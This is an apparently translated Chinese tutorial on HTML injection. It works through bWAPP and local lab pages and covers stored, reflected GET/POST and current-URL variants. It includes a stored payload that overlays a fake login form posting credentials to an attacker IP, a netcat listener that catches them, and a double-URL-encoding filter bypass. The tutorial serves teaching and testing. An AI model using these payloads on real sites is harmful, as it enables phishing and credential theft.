首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >HTML注入综合指南

HTML注入综合指南

原创
作者头像
竹紫
发布于 2022-04-08 12:10:33
发布于 2022-04-08 12:10:33
5.1K3
举报

HTML注入综合指南

**“ HTML”***被视为每个Web应用程序的***框架***,因为它定义了托管内容的结构和完整状态。*那么,你是否想过,是否用一些简单的脚本破坏了这种结构?还是这种结构本身成为Web应用程序损坏的原因?今天,在本文中,我们将学习如何**配置错误的HTML代码**,为攻击者从用户那里获取**敏感数据**。

表中的内容

  • 什么是HTML?
  • HTML注入简介
  • HTML注入的影响
  • HTML注入v / s XSS
  • 注射类型
  • 储存的HTML
  • 反映的HTML
  • 反映GET
  • 反映后
  • 反映的当前URL

什么是HTML?

**HTML**是其中确定所述web页面上的web应用程序的形成的基本构建块。HTML用于设计包含**“超文本”的**网站,以便将“文本包含在文本中”作为超链接,并包含包裹数据项以在浏览器中显示的**元素**组合。

*那么这些元素是什么?*

“元素是HTML页面的所有内容,即,它包含**开始**和**结束标记**以及介于两者之间的**文本内容**。”

图片
图片

HTML标签

HTML标签标记了内容片段,例如“标题”,“段落”,“表单”等。它们是由包围的元素名称**尖括号**和两种类型的-的“开始标记”,也称为**开口标签**和“结束标记”简称为**所述闭合一个**。浏览器不显示这些HTML标记,而是利用它们来捕获网页的内容。

HTML属性

为了向元素提供一些额外的信息,我们使用**属性,**它们位于*start标记*内,并以**“名称/值”**对的形式出现,以便**属性名称**后跟“等号”和**属性值**包含在“引号”中。

1<a href = "http://hackingarticles.in">Hacking Articles </a>

在这里,*“ href”*是**“属性名称”**,“ *http:// hackingarticles”*是**“属性值”。**

现在我们知道了基本的HTML术语,让我们查看**“ HTML元素流程图”**,然后将进一步尝试全部实现它们以创建一个简单的网页。

图片
图片

基本HTML页面:

互联网上的每个网页都在某个地方或另一个HTML文件中。这些文件不过是带有**“** **.html** **”**扩展名的简单纯文本文件,它们是通过Web浏览器保存并执行的。

因此,让我们尝试在记事本中创建一个简单的网页并将其另存为**hack.html:**

代码语言:txt
AI代码解释
复制
<html><head><title> Hacking Articles lab</title></head><body bgcolor="pink"><br><center><h2>WELCOME TO <a href=”Hacking Articles - Raj Chandel's Blog”>HACKING ARTILCES </a></h2><br><p>Author “Raj Chandel”</p></center></body></html>

让我们在浏览器中执行这个**“ hack.html”**文件,看看我们开发了什么。

图片
图片

我们已经成功设计了我们的第一个网页。但是这些标签如何为我们工作,让我们看看它们:

  • **<HTML>**元素是每个HTML页的根元素。
  • **<HEAD>**确定关于文件的头信息。
  • **<TITLE>**元素指定的网页的标题。
  • **<BODY>**元素包含具有可见页面内容*“BGCOLOR”*作为作为属性*“粉红色”* *。*
  • 的 **<H1>**元素定义了一个大的标题。
  • 的 **<P>**元素定义了一个段落
  • 该**<A>**定义了锚标记,这有助于我们建立的*“超链接”*。

我想您现在对“ HTML是什么及其主要用途”和“我们如何实现这一切”一清二楚。因此,让我们尝试找出主要漏洞,并了解攻击者如何将任意HTML代码注入易受攻击的网页中,以修改托管内容。

HTML注入简介

HTML注入是当网页无法清理用户提供的输入或验证输出时出现的最简单,最常见的漏洞之一,从而使攻击者能够制作有效载荷并通过易受攻击的字段将恶意HTML代码注入应用程序中,以便他可以修改网页内容,甚至获取一些敏感数据。

让我们看一下这种情况,并了解如何执行此类HTML注入攻击:

*考虑一个遭受HTML注入漏洞并且不验证任何特定输入的Web应用程序。因此,攻击者发现了这一点,并向其注入了带有***“免费电影票”***诱饵的恶意***“ HTML登录表单”***,以诱骗受害者提交其敏感的凭据。*

*现在,当受害者浏览该特定网页时,他发现可以使用那些***“免费电影票”了。***当他单击它时,他会看到该应用程序的登录屏幕,这只是攻击者精心制作的***“ HTML表单”。***因此,攻击者一输入凭据,便会通过其侦听器捕获所有凭据,从而导致受害者破坏其数据。*

图片
图片

HTML注入的影响

如果未正确清理网页中的输入字段,则有时此HTML注入漏洞可能导致我们遭受**跨站点脚本(XSS)**或**服务器端请求伪造(SSRF)攻击。**因此,该漏洞的**严重等级**为“ **中等”**,而其**“ CVSS得分为5.3”则报告**为:

  1. **CWE-80:**网页中与脚本相关的HTML标记的不正确中和。
  2. **CWE-79:**网页生成期间输入的不正确中和。

HTML注入v / s XSS

在此类攻击期间,我们有机会免于执行**HTML注入**攻击,但由于XHTML注入与跨站点脚本几乎相似,因此我们放弃了**XSS**。但是,如果我们仔细观察两者之间的距离,我们会注意到,在**XSS攻击**期间,攻击者有机会注入并执行**Javascript代码,**而在**HTML** **注入中,**他/她势必会使用某些**HTML标签**来破坏该网页。

现在,让我们深入研究不同的HTML注入攻击,并查看异常方式如何破坏网页并捕获受害者的凭据。

储存的HTML

一个**“保存HTML”**也被称为**“** **持久性”**,因为通过这个漏洞注入恶意脚本获取Web应用程序服务器中永久保存,当他参观注入网页应用服务器进一步降低它返回给用户。但是,当客户端单击*显示为网站官方部分的*有效负载时,注入的HTML代码将由浏览器执行。

**存储HTML**的最常见示例是博客中的**“评论选项”**,它允许任何用户以管理员或其他用户的评论形式输入其反馈。

现在,让我们尝试利用此存储的HTML漏洞并获取一些凭据。

利用存储的HTML

我已经在浏览器中打开了目标IP并以**蜜蜂:bug的**身份登录BWAPP ,此外,我已将**“选择错误”**选项设置为**“** **HTML注入-已存储(博客)”**,并启动了**hack** **按钮。**

现在,我们将被重定向到遭受**HTML注入漏洞的**网页,该**漏洞**使用户可以在屏幕快照中将其条目提交到博客中。

最初,我们将通过**“ bee”**生成一个正常的用户条目,作为“ Hacking Articles”,以确认输入数据已成功存储在Web服务器的数据库中,因此可以在“ **Entry字段”中**看到**。**

图片
图片

现在,让我们尝试注入恶意负载,该负载将在此目标网页上**创建***虚假的用户***登录表单**,从而将捕获的请求转发到**我们的IP上**。

在给定的文本区域内输入以下HTML代码,以设置HTML攻击。

代码语言:txt
AI代码解释
复制
<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index:1000; background-color:white; padding:1em;">Please login with valid 

credenitals:<br><form name="login" action="http://192.168.0.7:4444/login.htm">

<table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td>

<td><input type="text" name="password"/></td></tr><tr>

<td colspan=2 align=center><input type="submit" value="Login"/></td></tr>

</table></form>
图片
图片

从下图可以看到,当我单击“提交”按钮时,新的登录表单已显示在网页上方。因此,此登录表单现在已存储到应用程序的Web服务器中,每当受害者访问此恶意登录页面时,该服务器都会呈现该登录表单,他将始终拥有该表单,对他而言看起来很正式。

图片
图片

因此,现在让我们在端口**4444上**启用我们的**netcat侦听器**, 以捕获受害者的请求。

1nc –lvp 4444

尽管需要等待,但要等到受害者将页面引导至浏览器并输入其凭据时为止。

图片
图片

从上面的图像中,您可以看到用户**“ Raj”**打开了网页,并尝试以**raj:123的**身份登录内部**。**

因此,让我们回到**侦听器**并检查是否在响应中捕获了凭据。

从下图可以看到,我们已经成功获取了凭据。

图片
图片

反映的HTML

该**反映HTML**也被称为**“** **非持久性”**时,立即对用户的输入,而不用验证用户输入的内容的Web应用程序响应,这可能会导致单个HTML响应内部的攻击者注入浏览器可执行代码的发生。它被称为**“非持久性”,**因为恶意脚本没有存储在Web服务器中,因此攻击者需要通过网络钓鱼发送恶意链接来诱捕用户。

在**网站的搜索引擎中**可以轻松找到反射的HTML漏洞:攻击者在这里在搜索文本框中编写了一些任意HTML代码,如果网站容易受到攻击*,结果页面将作为对这些HTML实体的响应而返回。*

反映HTML基本上分为三种类型:

  • **反映HTML GET**
  • **反映的HTML POST**
  • **反映的HTML当前URL**

在利用Reflected HTML实验室弄湿之前,让我们回想一下–使用GET方法,我们从特定来源**请求数据**,而POST方法用于**将数据发送到服务器**以创建/更新资源。

反映HTML GET

在这里,我们创建了一个网页,从而允许用户使用其“名称”提交“反馈”。

因此,当用户**“ Raj Chandel”**将其反馈提交为**“ Good”时**,将出现一条消息,提示为**“感谢Raj Chandel宝贵的时间。”**

图片
图片

因此,此即时响应和URL中的*“名称/值”*对表明,此页面可能容易受到**HTML注入的**攻击,并且已通过**GET**方法请求了数据。

因此,现在让我们尝试将一些HTML代码注入此“表单”中,以便对其进行确认。在“名称”字段中键入以下脚本,如下所示:

1<h1>Raj Chandel</h1>

并将**“**反馈**”**设置为**“良好”**

从下图可以看到,用户名**“ Raj Chandel”**已被修改为标题,如响应消息中所示。

图片
图片

不知道为什么这一切都会发生,让我们检查以下代码片段。

图片
图片

用的放心,以反映该**消息**在屏幕上,开发商没有设置任何输入验证即他只是**“回声”**的*“谢谢消息”*通过包含了通过输入名称**“$ _GET”**变量。

*“有时开发人员会在输入字段中设置一些验证,从而将我们的***HTML代码***重新呈现到屏幕上而不会被渲染。”*

从下图可以看到,当我尝试在**name字段中**执行HTML代码时,它会以纯文本的形式将其放回:

图片
图片

那么,该漏洞是否已在此处修补?

让我们通过帮助手“ burpsuite” 捕获其**传出的请求**来检查所有情况,并将捕获的请求直接发送到**“ Repeater”**选项卡**。**

图片
图片

在“ Repeater”选项卡中,当我单击**“ Go”**按钮以检查生成的**响应时,**我发现我的HTML实体已在此处**解码**为**HTML**:

图片
图片

因此,我处理了完整的HTML代码**“ <a href = http://hackingarticles.in"> <h2> Raj </ h2> </a>”,** 并将其全部粘贴到“ **解码器”选项卡中。**我单击了**“编码为”,**并选择了**URL** 1。

获得编码输出后,我们将再次在**URL**的**“编码为”中对其**进行设置,以使其获得**双URL编码**格式。

图片
图片

现在让我们尝试一下,*复制完整的双重编码的URL,然后将其粘贴到***Request***选项的***Repeater选项卡***中的***“ name =”***字段中。*

单击“执行**”**按钮以检查其生成的**响应。**

从下图可以看到,我们已经成功地操纵了**响应。**

图片
图片

现在,只需在“ **代理”**选项卡中进行类似的修改,然后单击**“转发”**按钮即可。从下图可以看到,我们也通过其验证字段破坏了此网页。

图片
图片

让我们检查一下代码片段,看看开发人员在哪里进行了输入验证:

从下图可以看到,在这里,开发人员对变量**数据**进行了**“破解”**,甚至将**“ <”**和**“>”**解码为**“&lt;”。**和**“&gt;”** 为**$数据**和**$输入**分别**,**进一步他使用内置的PHP函数**urldecode**超过了**$输入** 到解码最多的URL。

图片
图片

从下面的图像中,您可以看到开发人员在**名称**字段上实现了功能**破解**。

图片
图片

反映的HTML POST

类似于“获取网页”,这里的**“名称”**和**“反馈”**字段也很容易受到攻击,因为已经实现了**POST方法**,因此表单数据将不会显示在URL中。

让我们尝试再次破坏此网页的外观,但这一次我们将添加图片而不是静态文本作为

1<img src= "https://www.ignitetechnologies.in/img/logo-blue-white.png">

从下图可以看到,**“ Ignite技术徽标”**已放置在屏幕上方,因此攻击者甚至可以注入其他媒体格式,例如视频,音频或Gif。

图片
图片

反映的HTML当前URL

*网页上没有输入字段时,Web应用程序是否容易受到HTML注入的攻击?*

是的,没有必要像**注释框**或**搜索框**那样输入文件,*某些应用程序会在其网页上显示您的URL,*并且它们可能容易受到HTML注入的影响,因为在这种情况下,**URL**充当其输入字段。

图片
图片

从上面的图像中,您可以看到**当前URL**在网页上显示为**“** **h吗ttp://192.168.0.16/hack/html_URL.php**]1(h黑ttp://192.168.0.1马赛克6/hack/html%255C_URL.php%255C%255C) **”。**因此,让我们接管这一优势,看看我们可以得到什么。

调整您的**“ burpsuite”**并捕获正在进行的**HTTP请求**

图片
图片

现在让我们使用以下命令处理此请求:

1/hack/html_URL.php/<h1>Hey_are_you_there?</h1>

单击**前进**按钮以在浏览器上检查结果。

图片
图片

从下图可以看到,只需将所需的HTML代码注入Web应用程序的URL中,我们就成功地破坏了网站的形象。

图片
图片

让我们看一下它的代码,看看开发人员如何在屏幕上获取当前URL。

在这里,开发人员使用PHP全局变量作为**$ _SERVER**来捕获当前页面URL。此外,他用“ HTTP_HOST”修改了主机名,并用“ REQUEST_URI”修改了URL的请求资源位置,并将其全部放在**$ url**变量中。

图片
图片

进入HTML部分,他只是使用**$ url**变量设置了**echo**,而没有任何特定的验证,以便显示带有URL的消息。

图片
图片

缓解步骤

  • 开发人员应该设置他的HTML脚本,该脚本可以过滤用户输入中的元字符。
  • 开发人员应实施一些功能来验证用户输入

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
3 条评论
热度
最新
各位关注一波~
各位关注一波~
回复回复点赞举报
8888888888888888888
8888888888888888888
回复回复点赞举报
6666666666666666666
6666666666666666666
回复回复点赞举报
推荐阅读
编辑精选文章
换一批
新建 Microsoft Word 文档
正如我们在第4章中所了解到的,大多数组织都会提供一个可访问Internet(或Intranet,如果在防火墙后面进行测试)的网站,以向匿名用户推销组织能力、联系信息等。这些类型Web服务的一种常见部署方法是托管在非军事区(DMZ)中,非军事区是一个逻辑上或物理上独立的子网,用于公开组织面向公众的外部服务。
顾翔
2022/09/23
7.5K0
新建 Microsoft Word 文档
Web Hacking 101 中文版 五、HTML 注入
超文本标记语言(HTML)注入有时也被称为虚拟污染。 这实际上是一个由站点造成的攻击,该站点允许恶意用户向其 Web 页面注入 HTML,并且没有合理处理用户输入。 换句话说,HTML 注入漏洞是由接收 HTML 引起的,通常通过一些之后会呈现在页面的表单输入。 这个漏洞是独立的,不同于注入 Javascript,VBscript 等。
ApacheCN_飞龙
2022/12/01
1.8K0
Web Hacking 101 中文版 五、HTML 注入
逆天了,你知道什么是CSRF 攻击吗?如何防范?
跨站点请求伪造 (CSRF) 攻击允许攻击者伪造请求并将其作为登录用户提交到 Web 应用程序,CSRF 利用 HTML 元素通过请求发送环境凭据(如 cookie)这一事实,甚至是跨域的。
网络技术联盟站
2023/03/13
2.3K0
逆天了,你知道什么是CSRF 攻击吗?如何防范?
XSS跨站脚本攻击剖析与防御
跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在Web应用程序中的计算机安全漏洞,是由于Web应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码(通常包括HTML代码和客户端Javascript脚本)注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害者可能采取Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。
美创科技
2023/07/28
6020
Web安全系列——XSS攻击
攻击者通过在受害者的浏览器中注入恶意代码,攻击受害者的登录凭证、盗取敏感信息或控制受害者的会话等。
windealli
2023/10/13
1.2K0
Web安全系列——XSS攻击
真的,Web安全入门看这个就够了!
超文本传输协议,HTTP是基于B/S架构进行通信的,而HTTP的服务器端实现程序有httpd、nginx等,其客户端的实现程序主要是Web浏览器,例如Firefox、InternetExplorer、Google chrome、Safari、Opera等
Java程序猿
2023/03/02
5110
聊一聊前端面临的安全威胁与解决对策
前端安全是指用于保护您的网络应用程序/网站客户端免受威胁和漏洞的技术或实践。防止未经授权的访问、数据泄漏和恶意活动对您的网络应用程序整体完整性的影响非常重要。您的前端可能会受到多种攻击,例如跨站点脚本(XSS),它会将恶意脚本注入您的网络应用程序,以针对其用户。还有其他前端威胁,例如跨站点请求伪造、点击劫持等等。如果没有适当的措施,您的网络应用程序将容易受到大多数这些威胁的攻击。让我们深入探讨!
前端达人
2023/11/15
8410
聊一聊前端面临的安全威胁与解决对策
html网站怎么注入_跨站脚本攻击原理
跨站脚本攻击(XSS)是一种客户端代码注入攻击。攻击者通过在合法的网页中注入恶意代码,达到在受害者的浏览器中执行恶意代码的目的。当受害者访问执行恶意代码的网页时,攻击就开始了。这些网页成为了将恶意代码发送到用户浏览器的工具。通常受到跨站脚本攻击的网页包括论坛、留言板以及可以评论的网页。
全栈程序员站长
2022/11/16
1.5K0
十个最常见的 Web 网页安全漏洞之首篇
OWASP 或 Open Web Security Project 是一家非营利性慈善组织,致力于提高软件和 Web 应用程序的安全性。该组织根据来自各种安全组织的数据发布顶级 Web 安全漏洞列表。
Xcnte
2021/12/14
2.8K0
十个最常见的 Web 网页安全漏洞之首篇
程序员的20大Web安全面试问题及答案
黑客在你的浏览器中插入一段恶意 JavaScript 脚本,窃取你的隐私信息、冒充你的身份进行操作。这就是 XSS 攻击(Cross-Site Scripting,跨站脚本攻击)
鱼找水需要时间
2023/12/28
5860
程序员的20大Web安全面试问题及答案
一文搞懂Web常见的攻击方式
Web攻击(WebAttack)是针对用户上网行为或网站服务器等设备进行攻击的行为
@超人
2021/07/05
1.1K0
一文搞懂Web常见的攻击方式
【愚公系列】《网络安全应急管理与技术实践》 013-网络安全应急技术与实践(Web层-XSS钓鱼攻击)
XSS(跨站脚本)是一种常见的网络攻击技术,攻击者通过在受害者的网页中注入恶意脚本,来获取用户的敏感信息或执行恶意操作。因此,XSS高级钓鱼指的是通过XSS攻击手段来进行钓鱼行为,即通过在网页中注入恶意代码,并伪装成合法的网站或登录页面,从而诱使用户输入敏感信息。
愚公搬代码
2024/09/17
2230
Web Security 之 CSRF
在本节中,我们将解释什么是跨站请求伪造,并描述一些常见的 CSRF 漏洞示例,同时说明如何防御 CSRF 攻击。
凌虚
2021/03/19
2.6K0
Web Security 之 CSRF
使用浏览器作为代理从公网攻击内网
在 Forcepoint,我们不断寻求改善我们产品所提供的防护。为此,我们经常研究不寻常或潜在新颖的攻击技术。最近的一个研究课题是从公网发起的针对 localhost 和内网的攻击。
madneal
2019/11/27
1.4K0
PortSwigger之身份验证+CSRF笔记
https://portswigger.net/web-security/all-labs#authentication
FB客服
2021/09/16
4K0
Web 最常见安全知识总结
随着Web2.0、网络社交等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中,越来越多的应用都架设在Web平台上。Web业务的迅速发展吸引了黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显。黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞等得到Web服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,更为严重的则是在网页中植入恶意代码,使得网站访问者受到侵害。这使得越来越多的用户关注应用层的安全问题,Web应用安全的关注度也逐渐升温。 本文从目前比
李海彬
2018/03/27
1.2K0
Web 最常见安全知识总结
Web安全系列——CSRF攻击
CSRF攻击给网站身份验证、用户账户和个人隐私带来极大威胁。了解 CSRF 攻击的流程、原理与防御措施,是构建安全可靠的Web应用程序的必要条件。
windealli
2023/10/13
6190
Web安全系列——CSRF攻击
CVE-2021-27927: Zabbix-CSRF-to-RCE
Zabbix是企业IT网络和应用程序监视解决方案。在对其源代码进行例行检查时,我们在Zabbix UI的身份验证组件中发现了CSRF(跨站点请求伪造)漏洞。使用此漏洞,如果未经身份验证的攻击者可以说服Zabbix管理员遵循恶意链接,则该攻击者可以接管Zabbix管理员的帐户。即使使用默认的SameSite=Laxcookie保护,此漏洞也可在所有浏览器中利用。该漏洞已在Zabbix版本4.0.28rc1、5.0.8rc1、5.2.4rc1和5.4.0alpha1中修复。
黑伞安全
2021/04/08
1.9K0
CVE-2021-27927: Zabbix-CSRF-to-RCE
XSS平台模块拓展 | 内附42个js脚本源码
一个非常简单的键盘记录程序,可捕获击键并将其每秒发送到外部页面.JS和PHP代码在归档中提供的PHP。
HACK学习
2019/08/27
13.2K3
XSS平台模块拓展 | 内附42个js脚本源码
一款轻量级Web漏洞教学演示系统(DSVW)
Damn Small Vulnerable Web (DSVW) 是使用 Python 语言开发的 Web应用漏洞 的演练系统。其系统只有一个 python 的脚本文件组成, 当中涵盖了 26 种 Web应用漏洞环境, 并且脚本代码行数控制在了100行以内, 当前版本v0.1m。 其作者是 Miroslav Stampar, 对! 就是sqlmap同一个作者, 它支持大多数(流行的)Web漏洞环境与攻击EXPLOIT, 同时各个漏洞环境还提供了相关说明与介绍的链接地址。 1 依赖环境 python (2.6
FB客服
2018/02/23
2K0
一款轻量级Web漏洞教学演示系统(DSVW)
相关推荐
新建 Microsoft Word 文档
更多 >
LV.3
这个人很懒,什么都没有留下~
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档